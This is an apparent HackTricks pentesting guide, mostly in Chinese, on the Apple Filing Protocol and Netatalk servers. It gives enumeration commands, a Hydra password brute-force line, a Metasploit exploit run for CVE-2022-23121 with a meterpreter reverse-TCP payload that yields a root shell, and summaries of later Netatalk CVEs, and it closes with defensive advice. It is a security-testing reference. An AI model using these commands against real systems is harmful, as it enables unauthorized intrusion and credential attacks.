548 - Pentesting Apple 文件共享协议 (AFP)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
The Apple Filing Protocol (AFP),曾被称为 AppleTalk Filing Protocol,是包含在 Apple File Service (AFS) 中的一种专用网络协议。它用于为 macOS 和经典 Mac OS 提供文件服务。AFP 的特点包括支持 Unicode 文件名、POSIX 风格和 ACL 权限、资源分叉(resource forks)、命名的扩展属性以及复杂的文件锁定机制。
尽管在现代 macOS 发行版中 AFP 已被 SMB 取代(自 OS X 10.9 起 SMB 为默认),但仍可在以下环境中遇到:
- 遗留的 macOS / Mac OS 9 环境
- 嵌入开源 Netatalk 守护进程的 NAS 设备(QNAP、Synology、Western Digital、TrueNAS…)
- 仍启用 Time-Machine-over-AFP 的混合操作系统网络
默认 TCP 端口: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
枚举
快速 banner / 服务器信息
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Useful AFP NSE scripts:
| Script | 功能 |
|---|---|
| afp-ls | 列出可用的 AFP 卷和文件 |
| afp-brute | 对 AFP 登录进行 Password brute-force |
| afp-serverinfo | 导出服务器名、机器类型、AFP 版本、支持的 UAMs 等。 |
| afp-showmount | 列出共享及其 ACLs |
| afp-path-vuln | 检测(并可利用)directory-traversal,CVE-2010-0533 |
If more control is required, the NSE brute-force script can be combined with Hydra/Medusa:
hydra -L users.txt -P passwords.txt afp://<IP>
如果你已经有凭证,Nmap 的 AFP 脚本 会 变得 更 有用,因为 afp-serverinfo leaks 所宣告的 UAMs (auth methods),而 afp-showmount 和 afp-ls 可以 枚举 可达的 shares、ACLs 和 有趣的 files:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
- Machine Type: Netatalk 在
afp-serverinfo输出中,通常意味着这是一个 NAS / Unix 主机,而不是 Apple 自家的 AFP 实现。 - UAMs(例如
DHX、DHX2、Cleartxt或Guest),因为它们直接提示可达的登录路径以及是否启用了旧的/弱的认证。 - Share ACLs 来自
afp-showmount;世界可读或 drop-box 风格的共享通常会在你挂载卷之前暴露备份、.appl文件和用户元数据。
与共享交互
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (使用 afpfs-ng ‑ 在大多数发行版中打包)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
挂载后,请记住经典 Mac resource-forks 存储为隐藏的 ._* AppleDouble 文件——这些通常包含 DFIR 工具遗漏的有趣元数据。
在 Netatalk 目标上,这个元数据后端也影响可利用性:
ea = admeans metadata is stored in AppleDouble v2 files /.AppleDoubledirectories.ea = sysorea = samba将元数据存储在文件系统扩展属性中。- 在 Netatalk 4.2+ 中,旧的
appledouble选项被移除,后端仅通过ea选项控制。
从攻击视角来看,这可以让你快速判断服务器上是否更可能触及到 AppleDouble-oriented bugs。
常见漏洞与利用
Netatalk 未认证 RCE 链 (2022)
一些 NAS 厂商出货了 Netatalk ≤3.1.12。parse_entries() 中缺乏边界检查,允许攻击者构造恶意 AppleDouble 头部并在认证之前获取 remote root(CVSS 9.8 – CVE-2022-23121)。NCC Group 有一篇含 PoC 的完整分析,利用了 Western-Digital PR4100。
Metasploit (>= 6.3) 随附模块 exploit/linux/netatalk/parse_entries,通过 DSI WRITE 传送 payload。
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.
Netatalk OpenSession heap overflow (2018)
较旧的 Netatalk (3.0.0 - 3.1.11) 在 DSI OpenSession 处理器中存在一个 out-of-bounds write,允许 unauthenticated code execution(CVE-2018-1160)。Tenable Research 发布了详细分析和 PoC。
Newer Netatalk attack surface (2022-2024)
最近的 Netatalk 公告显示攻击面不再仅限于 parse_entries() 和 OpenSession 处理:
- CVE-2022-45188: a specially crafted
.applfile can trigger a heap overflow inafp_getappl; this is especially relevant if you can write files into a share and the server runs FCE / notify features. - CVE-2023-42464: a type confusion bug in the Spotlight RPC handlers can become reachable when
spotlight = yesis enabled inafp.conf(disabled by default). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: one-byte heap out-of-bounds writes in login-related paths fixed in Netatalk 2.4.1 / 3.1.19 / 3.2.1. These bugs are interesting because exploitability depends on the configured UAMs:
uams_clrtxt.so+ PAM-backed ClearTxt login exposes theFPLoginExtpath relevant to CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login reaches the vulnerable path for CVE-2024-38440.uams_guest.sokeeps the Guest login path reachable for CVE-2024-38441.
这意味着 afp-serverinfo 的输出不仅仅是指纹数据;它可以帮助你在花时间进行 exploit development 或 NAS 固件 triage 之前判断暴露了哪个 login parser。
Other notable issues
- CVE-2022-22995 – Symlink redirection leading to arbitrary file write / RCE when AppleDouble v2 is enabled (3.1.0 - 3.1.17).
- CVE-2010-0533 – Directory traversal in Apple Mac OS X 10.6 AFP (detected by
afp-path-vuln.nse). - Multiple memory-safety bugs were fixed again during the 2024 Netatalk releases; if you identify
Netatalkinafp-serverinfo, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter.
Defensive Recommendations
- Disable AFP unless strictly required – use SMB3 or NFS instead.
- If AFP must stay, upgrade Netatalk to ≥ 3.1.18 or 4.x, or apply vendor firmware that back-ports the 2022/2023/2024 patches.
- Enforce Strong UAMs (e.g. DHX2), disable clear-text and guest logins.
- Restrict TCP 548 to trusted subnets and wrap AFP inside a VPN when exposed remotely.
- Periodically scan with
nmap -p 548 --script afp-*in CI/CD to catch rogue / downgraded appliances.
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


